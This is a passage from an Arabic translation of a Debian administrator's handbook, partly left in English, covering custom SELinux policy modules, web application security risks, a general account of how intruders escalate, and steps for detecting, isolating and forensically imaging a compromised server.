توفر كل وحدة من وحدات SELinux مجموعة من قواعد وسم الملفات، لكن يمكن أيضاً إضافة قواعد وسم مخصصة استجابة لحالة خاصة. مثلاً، إذا أردت أن يتمكن مخدم الوب من قراءة الملفات ضمن الشجرة /srv/www/، عليك تنفيذ semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?" يتبعه restorecon -R /srv/www/. يسجل الأمر الأول قواعد الوسم الجديدة ويعيد الأمر الثاني ضبط أنواع الملفات وفق قواعد الوسم الجديدة هذه.

بشكل مشابه، توسم منافذ TCP/IP بطريقة تضمن أن الخدمات المناسبة فقط تستطيع الإنصات لها. مثلاً، إذا أردت مخدم الوب أن يتمكن من الإنصات للمنفذ 8080، عليك تنفيذ semanage port -m -t http_port_t -p tcp 8080.

تُصدِّر بعض وحدات SELinux خيارات بوليانية يمكنك تعديلها لتغيير سلوك القواعد الافتراضية. يمكن استخدام الأداة getsebool لفحص هذه الخيارات (يعرض الأمر getsebool boolean خياراً واحداً، أما getsebool -a فيعرضها كلها). يغيّر الأمر setsebool boolean value القيمة الحالية للخيار البولياني. استخدام الخيار -P يجعل التغيير نهائياً، أي أن القيمة الجديدة ستصبح القيمة الافتراضية وسيحتفظ بها بعد إعادة الإقلاع. يمنح المثال التالي مخدمات الوب صلاحية الوصول لمجلدات بيوت المستخدمين (يفيد هذا عندما يملك المستخدمون مواقع شخصية في ~/public_html/).

# getsebool httpd_enable_homedirs httpd_enable_homedirs --> off # setsebool -P httpd_enable_homedirs on # getsebool httpd_enable_homedirs httpd_enable_homedirs --> on

14.5.4. ملائمة القواعد

بما أن سياسة SELinux تجزيئية، فقد يهمُّك تطوير وحدات جديدة (أو وحدات مخصصة) للتطبيقات التي تفتقر لهذه الوحدات. عندها سوف تكمل هذه الوحدات السياسة المرجعية reference policy.

لإنشاء وحدة جديدة، ستحتاج للحزمة selinux-policy-dev. بالإضافة إلى selinux-policy-doc تحوي الأخيرة وثائق القواعد القياسية (/usr/share/doc/selinux-policy-doc/html/) وملفات أمثلة يمكن استخدامها كقوالب لإنشاء الوحدات الجديدة. ثَبِّت هذه الملفات وادرسها بعمق:

$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile $ cp /usr/share/doc/selinux-policy-doc/example.fc ./ $ cp /usr/share/doc/selinux-policy-doc/example.if ./ $ cp /usr/share/doc/selinux-policy-doc/example.te ./

ملف .te هو الأهم بينها. فهو الذي يحدد القواعد. يُعرِّف الملف .fc ”سياقات الملفات“، وهي الأنواع التي تسند إلى الملفات المرتبطة بهذه الوحدة. تُستَخدَم البيانات من الملف .fc أثناء مرحلة وسم الملفات. أخيراً، يُعرِّف الملف .if واجهة الوحدة: وهي مجموعة من ”الدوال العامة“ التي تستطيع الوحدات الأخرى استخدامها للتفاعل مع هذه الوحدة الجديدة بشكل سليم.

14.5.4.1. كتابة ملف .fc

يجب أن تفي قراءة المثال التالي لفهم بنية هذا الملف. يمكنك استخدام التعابير المنتظمة لإسناد السياق الأمني نفسه لعدة ملفات، أو لشجرة ملفات كاملة حتى.

مثال 14.2. ملف example.fc

# myapp executable will have: # label: system_u:object_r:myapp_exec_t # MLS sensitivity: s0 # MCS categories: <none> /usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)

14.5.4.2. كتابة ملف .if

في المثال التالي، تتحكم الواجهة الأولى (”myapp_domtrans“) بمن يستطيع تنفيذ التطبيق. أما الثانية (”myapp_read_log“) فتمنح صلاحيات القراءة على ملفات سجلات التطبيق.

يجب أن تولد كل واجهة مجموعة صالحة من القواعد التي يمكن تضمينها في ملف .te. عليك إذن التصريح عن جميع الأنواع التي تستخدمها (باستخدام الماكرو gen_require)، واستخدام التعليمات التوجيهية القياسية لمنح الصلاحيات. لاحظ، على أي حال، أنك تستطيع استخدام الواجهات التي توفرها الوحدات الأخرى. يتفصّل القسم التالي أكثر في شرح طريقة تمثيل هذه الصلاحيات.

مثال 14.3. ملف example.if

## <summary>Myapp example policy</summary> ## <desc> ## <p> ## More descriptive text about myapp. The <desc> ## tag can also use <p>, <ul>, and <ol> ## html tags for formatting. ## </p> ## <p> ## This policy supports the following myapp features: ## <ul> ## <li>Feature A</li> ## <li>Feature B</li> ## <li>Feature C</li> ## </ul> ## </p> ## </desc> # ######################################## ## <summary> ## Execute a domain transition to run myapp. ## </summary> ## <param name="domain"> ## Domain allowed to transition. ## </param> # interface(`myapp_domtrans',` gen_require(` type myapp_t, myapp_exec_t; ') domtrans_pattern($1,myapp_exec_t,myapp_t) ') ######################################## ## <summary> ## Read myapp log files. ## </summary> ## <param name="domain"> ## Domain allowed to read the log files. ## </param> # interface(`myapp_read_log',` gen_require(` type myapp_log_t; ') logging_search_logs($1) allow $1 myapp_log_t:file r_file_perms; ')

توثيق توضيحات حول reference policy

The reference policy evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones.

→ https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted

14.5.4.3. كتابة ملف .te

لنلق نظرة على الملف example.te:

التعمق أكثر لغة الماكرو m4

لبناء السياسة بشكل سليم، استخدم مطورو SELinux معالج أوامر ماكرو. فبدلاً من نسخ الكثير من تعليمات allow التوجيهية المتشابهة، أنشأوا ”دوالاً ماكروية“ لاستخدام منطق ذا مستوى أعلى، وهذا ينتج أيضاً سياسة قراءتها أسهل لكثير.

عملياً، تترجم هذه القواعد عبر استخدام الأداة m4 التي تجري العملية المعاكسة: حيث توسّع جميع هذه التعليمات عالية المستوى إلى قاعدة بيانات عملاقة من تعليمات allow.

”واجهات“ SELinux هي مجرد دوال ماكروية تُستبدَل بمجموعة قواعد أثناء الترجمة. وكذلك، هناك بعض الصلاحيات التي تتألف في الواقع من مجموعة من الصلاحيات التي تستبدل بقيمها عند الترجمة.

policy_module(myapp,1.0.0) ######################################## # # Declarations # type myapp_t; type myapp_exec_t; domain_type(myapp_t) domain_entry_file(myapp_t, myapp_exec_t) type myapp_log_t; logging_log_file(myapp_log_t) type myapp_tmp_t; files_tmp_file(myapp_tmp_t) ######################################## # # Myapp local policy # allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; allow myapp_t myapp_tmp_t:file manage_file_perms; files_tmp_filetrans(myapp_t,myapp_tmp_t,file)

يجب تعريف الوحدة باسمها ورقم إصدارها. هذه التعليمة إلزامية.

إذا كانت الوحدة تُعرّف أنواعاً جديدة، فعليها التصريح عنها باستخدام تعليمات كهذه. لا تتردد في إنشاء أنواع كثيرة بقدر الحاجة بدلاً من منح صلاحيات عديمة الجدوى.

تُعرّف هذه الواجهات النوع myapp_t كنطاق للعمليات الذي يجب استخدامه مع أي ملف تنفيذي موسوم بالنوع myapp_exec_t. ضمنياً، هذا يضيف الصفة exec_type إلى هذه الكائنات، التي تسمح بدورها للوحدات الأخرى بمنح صلاحيات تنفيذ هذه البرامج: مثلاً، تسمح الوحدة userdomain للعمليات ذات النطاقات user_t، و staff_t، و sysadm_t بتنفيذها. أما نطاقات البرمجيات المقيّدة الأخرى فلا تملك صلاحيات تنفيذها، إلا إذا منحتها القواعد صلاحيات مشابهة (هذه هي حالة dpkg ونطاقه dpkg_t، على سبيل المثال).

logging_log_file is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example, granting rights to logrotate so that it can manipulate them).

تعليمة allow هي التعليمة الأساسية المستخدمة للسماح بتنفيذ إجراء. المتغير الأول هو نطاق العملية المخولة بتنفيذ الإجراء. أما المتغير الثاني فهو يُعرّف الكائنات التي سيسمح للعمليات من النطاق السابق بالتعديل عليها. صيغة هذا المتغير هي ”type:class“ حيث type هو النوع في SELinux ويحدد الصنف class طبيعة الكائن (ملف، مجلد، مقبس شبكي، fifo، الخ). أخيراً، يحدد المتغير الأخير الصلاحيات (الإجراءات المسموحة).

تُعرّف الصلاحيات بشكل مجموعة من الإجراءات المسموحة وهي تتبع هذا القالب: { operation1 operation2 }. لكن يمكنك أيضاً استخدام ماكروات تعبر عن الصلاحيات التي تفيدك. يسرد الملف /usr/share/selinux/devel/include/support/obj_perm_sets.spt الماكروات المتاحة.

The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted.

→ https://selinuxproject.org/page/ObjectClassesPerms

كل ما عليك الآن هو إيجاد أقل مجموعة من القواعد اللازمة لضمان عمل التطبيق أو الخدمة بشكل صحيح. لتحقيق هذا، يجب أن تعرف طريقة عمل التطبيق جيداً وأن تعرف نوع البيانات التي يديرها أو يولدها.

على أي حال، يمكن استخدام الطريقة التجريبية. حيث يمكنك فور وسم الكائنات المناسبة بشكل صحيح، استخدام التطبيق في الوضع المتساهل: فالعمليات التي ستحظر سوف تسجل لكنها ستنفّذ بنجاح مع ذلك. يمكنك الآن عبر تحليل السجلات معرفة العمليات التي يجب السماح بها. إليك مثالاً عن هذا النوع من مدخلات السجل:

avc: denied { read write } for pid=1876 comm="syslogd" name="xconsole" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1

دعنا ندرس هذه الرسالة قطعة بعد أخرى حتى نفهمها بشكل أفضل.

جدول 14.1. تحليل أثر SELinux

الرسالة | الوصف
avc: denied | هذا الإجراء قد مُنع.
{ read write } | يحتاج هذا الإجراء لصلاحيات read و write.
pid=1876 | نفّذت العملية ذات PID رقم 1876 الإجراء (أو حاولت تنفيذه).
comm="syslogd" | كانت العملية تنفذ البرنامج syslogd.
name="xconsole" | العنصر المستهدف اسمه xconsole. أحياناً قد يعطيك متغير ”path“ —يحوي المسار الكامل— بدلاً من هذا.
dev=tmpfs | The device hosting the target object is a tmpfs (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example, “sda3”).
ino=5510 | الكائن مُعرّف برقم inode يساوي 5510.
scontext=system_u:system_r:syslogd_t:s0 | هذا هو السياق الأمني للعملية التي نفّذت الإجراء.
tcontext=system_u:object_r:device_t:s0 | هذا هو السياق الأمني للكائن الهدف.
tclass=fifo_file | الكائن الهدف هو ملف FIFO.

By observing this log entry, it is possible to build a rule that would allow this operation. For example, allow syslogd_t device_t:fifo_file { read write }. This process can be automated, and it is exactly what the audit2allow command (of the policycoreutils package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “dontaudit” rule to avoid the log entry despite the effective denial.

تتمة لا أدوار في قواعد السياسة

قد تستغرب عدم ظهور الأدوار أبداً عند إنشاء قواعد جديدة. يستخدم SELinux النطاقات فقط ليعرف الإجراءات المسموحة. يتدخل الدور بشكل غير مباشر فقط عند السماح للمستخدم بالتبديل إلى نطاق مختلف. يعتمد SELinux على نظرية تعرف باسم Type Enforcement والنوع هو العنصر الوحيد الذي يؤثر في عملية منح الصلاحيات.

14.5.4.4. ترجمة الملفات

Once the 3 files (example.if, example.fc, and example.te) match your expectations for the new rules, rename them to myapp.extension and run make NAME=devel to generate a module in the myapp.pp file (you can immediately load it with semodule -i myapp.pp). If several modules are defined, make will create all the corresponding .pp files.

14.6. اعتبارات أمنية أخرى

ليس الأمن مشكلة تقنية وحسب؛ بل الأهم من كل شيء، العادات الحسنة وفهم المخاطر. يراجع هذا القسم بعض المخاطر الأكثر انتشاراً، بالإضافة لبعض الممارسات الجيدة التي يجب، حسب الحالة طبعاً، أن تزيد أمن النظام أو تخفف ضرر الهجمات الناجحة.

14.6.1. المخاطر الملازمة لتطبيقات الوب

أدت الطبيعة العالمية لتطبيقات الوب لانتشارها. غالباً ما يتم تشغيل عدة تطبيقات وب على التوازي: webmail، ويكي، نظام إدارة مجموعات، منتديات، ألبوم صور، مدونة، وغيرها. تعتمد معظم هذه التطبيقات على ”LAMP‏“ (Linux, Apache, MySQL, PHP). لسوء الحظ، تكتب معظم هذه التطبيقات دون اعتبار المشاكل الأمنية كثيراً. في معظم الأحيان، تستخدم البيانات الواردة من العالم الخارجي بعد التحقق منها بشكل ضعيف أو بلا تحقق أبداً. يمكن تقديم قيم مُعدَّة خصيصاً لإفساد استدعاء أحد الأوامر بحيث يتم تنفيذ أمر آخر بدلاً منه. أُصلِحَت معظم المشاكل الواضحة عبر الزمن، لكن تظهر مشاكل أمنية جديدة بانتظام.

مصطلحات SQL injection

When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible.

→ https://en.wikipedia.org/wiki/SQL_Injection

لا مفر من تحديث تطبيقات الوب بانتظام، خشية أن يتمكن أي مخرب (سواء كان مهاجماً محترفاً أو script kiddy) من استغلال ثغرة معروفة. يختلف الخطر الفعلي حسب الحالة، ويتراوح ما بين تدمير البيانات إلى تنفيذ أكواد عشوائية، بما في ذلك تشويه الموقع (defacement).

14.6.2. تَعرَّف على ما ينتظرك

غالباً ما تُستَخدَم الثغرة في تطبيق الوب كنقطة انطلاق لمحاولات الاختراق. فيما يلي استعراض قصير للعواقب المحتملة.

نظرة سريعة ترشيح طلبات HTTP

Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time.

قد يكون إعداد هذه الفحوصات عملية طويلة وبطيئة، لكنها قد تؤتي ثمارها إذا كان تطبيق الوب المستخدم له سجل أمني مشبوه.

وحدة mod-security2 (في الحزمة libapache2-mod-security2) هي الحزمة الأساسية في هذا المجال. بل إنها ترفق مع قواعد كثيرة جاهزة للاستخدام (في الحزمة modsecurity-crs) يمكنك تفعيلها بسهولة.

يختلف مدى وضوح آثار الاختراق حسب أهداف المهاجم. يطبق Script-kiddy الوصفات التي يجدها على مواقع الوب فقط؛ أغلب الأحيان، سوف يشوه مظهر صفحة وب أو يحذف بيانات. في الحالات الأكثر حذقاً، سيضيف محتوى غير مرئي لصفحات الوب بحيث تتحسن referrals لموقعه الشخصي في محركات البحث.

أما المهاجم الأكثر تقدماً فسوف يسعى لما هو أبعد من ذلك. من السيناريوهات الكارثية أن يحدث ما يلي: يتمكن المهاجم من تنفيذ الأوامر تحت هوية المستخدم www-data، لكن تنفيذ الأوامر يحتاج للكثير من المناورات. لتسهيل الوضع على نفسه، سوف يثبّت تطبيقات وب أخرى مصممة خصيصاً لتنفيذ انواع كثيرة من الأوامر عن بعد، مثل تصفح نظام الملفات، فحص الصلاحيات، رفع أو تنزيل الملفات، تنفيذ الأوامر، أو حتى تقديم سطر أوامر عبر الشبكة. أغلب الأحيان، ستسمح لهم الثغرة بتنفيذ الأمر wget لتنزيل برمجية خبيثة ما ضمن المجلد /tmp/، ثم تنفيذها. تُنزّل البرمجيات الخبيثة من مواقع غريبة مُختَرَقة سابقاً، وذلك لتغطية الأثر وجعل تقفي الأدلة إلى المصدر الفعلي للهجوم أصعب.

عند هذه النقطة، يتمتع المهاجم بحرية حركة تكفيه بحيث يعمد غالباً لتثبيت بوت IRC (روبوت يتصل بمخدم IRC ويمكن التحكم به عبر هذه القناة). يستخدم هذه البوت غالباً لمشاركة ملفات غير قانونية (نسخ غير مصرح بها لبرمجيات أو أفلام، وما شابه). أما المهاجم عاقد العزم فقد يرغب بالتعمق أكثر من ذلك أيضاً. لا يسمح حساب www-data بالتحكم الكامل بالجهاز، وسيحاول المهاجم الحصول على صلاحيات الجذر. نظرياً، يفترض أن هذا غير ممكن، لكن إذا كان تطبيق الوب غير محدث، فيحتمل أن إصدارات النواة والبرامج الأخرى قديمة أيضاً؛ ينتج هذا أحياناً عن مدير نظام أهمل تحديث النظام، رغم معرفته بوجود ثغرة، لعدم وجود مستخدمين محليين للنظام. يمكن عندئذ للمهاجم أن يستفيد من هذه الثغرة الثانية للحصول على صلاحيات الجذر.

مصطلحات تصعيد الصلاحيات

يشير هذا المصطلح لأي شيء يمكن استخدامه للحصول على صلاحيات أعلى مما يفترض أن يحصل عليه المستخدم في الحالة الطبيعية. البرنامج sudo مصمم خصيصاً بهدف منح صلاحيات إدارة النظام لبعض المستخدمين. لكن المصطلح نفسه يُستخدَم لوصف عملية استغلال المهاجم ثغرة في النظام للحصول على صلاحيات غير مستحقة. المصطلح بالإنكليزية هو privilege escalation.

أصبح الجهاز الآن ملكاً للمهاجم؛ الذي سيحاول عادة الاحتفاظ بصلاحية الوصول هذه لأطول فترة ممكنة. هذا يقتضي تثبيت rootkit، وهو نوع من البرامج يستبدل بعض مكونات النظام بحيث يتمكن المهاجم من الحصول على صلاحيات الإدارة ثانيةً في وقت لاحق؛ كما يحاول الـ rootkit إخفاء نفسه وإخفاء أي آثار لعملية الاختراق. سوف يُغفِل برنامج ps بعد تخريبه بعض العمليات، ولن يَذكُرَ netstat بعض الاتصالات الفعالة، وهكذا. إذا تمكن المهاجم من مراقبة النظام كاملاً، لكنه لم يعثر على بيانات مهمة؛ سيحاول الوصول لأجهزة أخرى في شبكة الشركة عبر الاستفادة من صلاحيات الجذر. يستطيع المهاجم العثور على الأجهزة التي يتصل المدير بها بانتظام عبر تحليل حساب مدير النظام وملفات التاريخ. وباستبدال sudo أو ssh ببرنامج مخرَّب، يستطيع المهاجم اعتراض بعض كلمات سر مدير النظام، ثم يستعملها على المخدمات التي اكتشفها... ويمكن لعملية الاختراق أن تنتشر من الآن فصاعداً.

يمكن أن نمنع هذا السيناريو الكارثي من أن يحدث عبر العديد من التدابير. تتحدث الأقسام القليلة القادمة عن بعض هذه التدابير.

14.6.3. اختيار البرمجيات بحكمة

بعد معرفة المشاكل الأمنية، يجب أخذها بعين الاعتبار في كل مرحلة من مراحل تنصيب (deploy) خدمة، خصوصاً عند اختيار البرمجيات لتثبيتها. تحتفظ العديد من المواقع، مثل SecurityFocus.com، بلائحة بالثغرات المكتشفة حديثاً، التي يمكن أن تعطيك فكرة عن السجل الأمني للبرنامج قبل أن تختار تثبيته. طبعاً، يجب أن توازن هذه المعلومات مع شهرة هذه البرامج: فكلما زاد استخدام البرنامج انتشاراً كلما أصبح هدفاً أكثر جاذبية، وكلما زاد تفحصه بتمعن. من جهة أخرى، قد تعج البرامج غير الشهيرة بالثغرات الأمنية التي لا تكشف للعلن أبداً لعدم الاهتمام بفحصه أمنياً.

مصطلحات فحص أمني

الفحص الأمني (security audit) هي عملية قراءة وتحليل شاملة للكود المصدري لبعض البرمجيات بحثاً عن أي ثغرات أمنية قد يحويها. هذه الفحوصات وقائية عادة، وهي تُجرى لضمان أن البرنامج يلبي متطلبات أمنية معينة.

In the free software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements.

مصطلحات Zero-day exploit

يصعب ردع هجمات zero-day exploit؛ يشير المصطلح إلى الثغرات في البرنامج التي لا يعلم بها مطورو البرنامج بعد.

14.6.4. إدارة الجهاز ككيان واحد

تُثبّت معظم توزيعات لينكس افتراضياً عدداً من خدمات يونكس وأدوات كثيرة. في معظم الحالات، لا تكون هذه الخدمات والأدوات لازمة للأغراض الفعلية التي أعد مدير النظام الجهاز لأجلها. كقاعدة عامة في النواحي الأمنية، يفضل إزالة أي البرمجيات التي لا حاجة لها. وحقاً، لا فائدة من تأمين مخدم FTP، إذا كان هناك ثغرة في خدمة مختلفة غير مستخدمة، يمكن استخدامها للحصول على صلاحيات الإدارة للجهاز كله.

وحسب القاعدة نفسها، تضبط الجدران النارية غالباً للسماح فقط بالوصول إلى الخدمات التي يفترض أن تكون متاحة للوصول العام.

الحواسيب المعاصرة قوية بما يكفي لتسمح باستضافة العديد من الخدمات على الجهاز الفيزيائي نفسه. هذه الإمكانية مثيرة للاهتمام من وجهة نظر اقتصادية: حاسوب واحد لإدارته، استهلاك طاقة أقل، وهكذا. لكن من وجهة نظر أمنية، هذه الخيار مشكلة. فاختراق خدمة واحدة قد يؤدي للدخول للجهاز كله، وهذا يسمح بتخريب الخدمات الأخرى المستضافة على الجهاز نفسه. يمكن الحد من هذا الخطر عبر عزل الخدمات. يمكن تحقيق ذلك إما باستخدام الحوسبة التَخيُّلية (تستضاف كل خدمة على جهاز وهمي خاص بها أو حاوية مستقلة)، أو باستخدام AppArmor/SELinux (حيث تتمتع كل خدمة بمجموعة ملائمة من الصلاحيات).

14.6.5. المستخدمين كفاعلين

عند الحديث عن الأمن، نتخيل فوراً الحماية من هجمات مخترفين مجهولين يختبئون في أدغال الإنترنت؛ لكن الحقيقة المنسية غالباً هي أن المخاطر تأتي أيضاً من الداخل: يمكن أن يُنزِّل أحد الموظفين الذين سُرِّحوا من عملهم في الشركة ملفات حساسة عن المشاريع المهمة ويبيعها للمنافسين، أو قد يترك أحد مندوبي المبيعات المهملين مكتبه دون إغلاق جلسة العمل عند غيابه للحاق بفرصة جديدة، أو قد يحذف مستخدم أخرق المجلد الخاطئ دون قصد، وهكذا.

قد تشمل الاستجابة لهذه المخاطر حلولاً تقنية: فلا يجب منح المستخدمين صلاحيات أعلى من اللازم، ولا بد من أخذ نسخ احتياطية بانتظام. لكن في العديد من الحالات، سوف تتضمن الحماية الجيدة تدريب المستخدمين لتفادي المخاطر.

نظرة سريعة autolog

توفر الحزمة autolog برنامجاً يقطع اتصال المستخدمين غير النشطين آلياً بعد تأخير زمني محدد. كما يتيح أيضاً قتل عمليات المستخدم التي تبقى بعد انتهاء جلسة العمل، وبذلك يمنع المستخدمين من تشغيل الخدمات.

14.6.6. الأمن الفيزيائي

لا فائدة من تأمين الخدمات والشبكات إذا لم تؤمن الحواسيب نفسها. تستحق البيانات المهمة تخزينها على سواقات صلبة تدعم الاستبدال الساخن في مصفوفات RAID، لأن الأقراص الصلبة ستتعطل في النهاية ولا بد من الحفاظ على توافر البيانات. لكن إذا كان أي فتى توصيل بيتزا يستطيع دخول المبنى، والتسلل لغرفة المخدم والهرب ببضعة أقراص صلبة مختارة، فهذا يعني نقص جزء هام من الحماية. من يستطيع دخول غرفة المخدم؟ هل الدخول مراقب؟ هذه الأسئلة تستحق النظر فيها (والإجابة عليها) عند تقييم الأمن الفيزيائي.

كما يتضمن الأمن الفيزيائي أخذ خطر الحوادث بعين الاعتبار أيضاً كالحرائق. هذا الخطر بالذات يبرر تخزين وسائط النسخ الاحتياطي في مبنى منفصل، أو على الأقل في خزينة مقاومة للحريق.

14.6.7. المسؤولية القانونية

يتمتع مدير النظام، ضمنياً أو صراحة، بثقة المستخدمين بالإضافة لثقة مستخدمي الشبكة بشكل عام. عليه إذن تفادي أي تقصير يمكن أن يستفيد منه الحاقدون.

An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant, nevertheless. In other cases, more important trouble can be caused from your machine, for instance, denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine.

عندما تحدث حالات مثل هذه، لن ينفعك ادعاء البراءة وحده؛ بل ستحتاج على الأقل لأدلة مقنعة تُبيّن ورود النشاطات المشبوهة على نظامك من عنوان IP معين. لن تتمكن من الحصول على أدلة كهذه إذا أهملت نصائح هذا الفصل وتركت المهاجم يحصل على إمكانية الوصول لحساب بصلاحيات مرتفعة (وبالأخص حساب الجذر) واستعماله لتغطية آثاره.

14.7. التعامل مع جهاز مُختَرَق

بالرغم من أحسن النوايا ومهما كانت السياسة الأمنية مصممة بحذر، سيواجه مدير النظام حالة قرصنة في النهاية. يقدّم هذا القسم بعض الإرشادات عن كيفية التصرف عند مواجهة هذه الظروف المشؤومة.

14.7.1. اكتشاف وملاحظة تطفل المخترقين

الخطوة الأولى في مواجهة الاختراق هي اكتشاف هذا النشاط. لا يُظهِر النشاط نفسه، خصوصاً في حال غياب البنية التحتية المناسبة لمراقبة النظام.

Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named apache instead of the standard /usr/sbin/apache2. If we follow that example, the thing to do is to note its process identifier, and check /proc/pid/exe to see what program this process is currently running:

# ls -al /proc/3719/exe lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc

برنامج مُثبّتٌ في /var/tmp/ ويعمل كمخدم وب؟ الجهاز مُختَرَق ولا ريب.

هذا مثال واحد فقط، لكن هناك أمارات أخرى كثيرة يمكن أن تثير حفيظة مدير النظام:

عدم عمل أحد خيارات أمر ما؛ الإصدارة التي يدعيها البرنامج لا تطابق الإصدارة التي يُفتَرض أنها مثبتة حسب dpkg؛

ترحيب من سطر الأوامر أو جلسة العمل يُظهِر أن آخر اتصال كان من مخدم غير معروف من قارة أخرى؛

أخطاء ناجمة عن امتلاء قسم /tmp/، الذي تبيّن أنه محشو بنسخ غير قانونية للأفلام؛

وغير ذلك.

14.7.2. فصل المخدم عن الشبكة

في جميع الحالات عدا العجيبة منها، ترد الاختراقات من الشبكة، ويحتاج المهاجم لشبكة فعالة للوصول إلى أهدافه (الوصول لمعلومات سرية، مشاركة ملفات غير قانونية، إخفاء هويته عبر استخدام الجهاز كمحطة ترحيل، وغيرها). فصل الجهاز عن الشبكة سيمنع المهاجم من الوصول لهذه الأهداف، إن لم يتمكن من تحقيقها بعد.

This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see قسم 14.7.3, “الاحتفاظ بكل ما يمكن استخدامه كدليل”, قسم 14.7.5, “التحليل الجنائي” and قسم 14.7.6, “إعادة بناء سيناريو الهجوم”), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but sshd). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines.

14.7.3. الاحتفاظ بكل ما يمكن استخدامه كدليل

لفهم الهجوم و (أو) اتخاذ إجراءات قانونية ضد المهاجمين يجب أخذ نسخ عن جميع العناصر المهمة؛ هذا يتضمن محتويات القرص الصلب، ولائحة بجميع العمليات الفعالة، ولائحة بجميع الاتصالات المفتوحة. يجب استخدام محتويات الذاكرة RAM أيضاً، لكنها نادراً ما تستخدم عملياً.

في غمرة الحدث؛ يميل مديرو النظم غالباً لتنفيذ العديد من الفحوصات على الجهاز المُختَرَق؛ هذه ليست فكرة جيدة عادة. أي أمر تنفذه يحتمل أن يمسح جزءاً من الأدلة. يجب تقليل الفحوصات إلى أقل ما يمكن (netstat -tupan لاتصالات الشبكة، ps auxf للحصول على قائمة العمليات، ls -alR /proc/[0-9]* لمزيد من المعلومات الإضافية عن البرامج الفعالة)، كما يجب كتابة كل الفحوصات التي أجريت بحذر.

تحذير التحليل الساخن

While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It is quite possible for a subverted ps command to hide some processes, or for a subverted ls to hide files; sometimes even the kernel is compromised!

إذا كان هناك حاجة لإجراء تحليل ساخن كهذا، فلا بد من أخذ الحيطة واستخدام برامج سليمة موثوقة. من الطرق الجيدة لفعل هذا استخدام CD إنقاذ فيه البرامج الأصلية، أو مشاركة شبكية للقراءة فقط. على أي حال، حتى هذه الإجراءات المضادة قد لا تكفي، إذا كانت النواة نفسها تعرضت للعبث.

فور حفظ العناصر ”الديناميكية“، الخطوة التالية هي تخزين صورة عن القرص الصلب. لا يمكن أخذ صورة كهذه إذا كان نظام الملفات في تغيُّر، ولذلك يجب إعاده ربطه في وضع القراءة فقط. أبسط حل في الغالب هو إيقاف المخدم قسراً (بعد تشغيل sync) وإعادة إقلاعه إلى قرص إنقاذ. يجب نسخ جميع الأقسام باستخدام أداة مثل dd؛ يمكن إرسال هذه الصور إلى مخدم آخر (ربما عبر استخدام الأداة nc التي تفيد كثيراً في إرسال البيانات الناتجة عن dd إلى جهاز آخر). هناك احتمال آخر ربما كان أبسط: فقط أخْرِج القرص من الجهاز واستبدله بآخر جديد يمكن إعادة تهيئته وتثبيت النظام عليه.

14.7.4. إعادة التثبيت

يجب عدم إعادة وصل المخدم بالشبكة قبل إعادة تثبيت النظام عليه بالكامل. إذا كان الاختراق عميقاً (إذا حصل المهاجم على صلاحيات الإدارة)، فلا توجد طريقة أخرى تقريباً للتأكد من أننا تخلصنا من جميع مخلفات المهاجم (خصوصاً الأبواب الخلفية backdoors). طبعاً، يجب تطبيق آخر التحديثات الأمنية أيضاً لسد الثغرة التي استخدمها المهاجم. مثالياً، يجب أن يشير تحليل الهجوم إلى نوع الهجمة التي استخدمت، بحيث يتأكد المرء من إصلاحها حقاً؛ وإلا، فإنه لا يسع الإنسان إلا أن يأمل أن الثغرة كانت واحدة من الثغرات التي أصلحتها التحديثات.

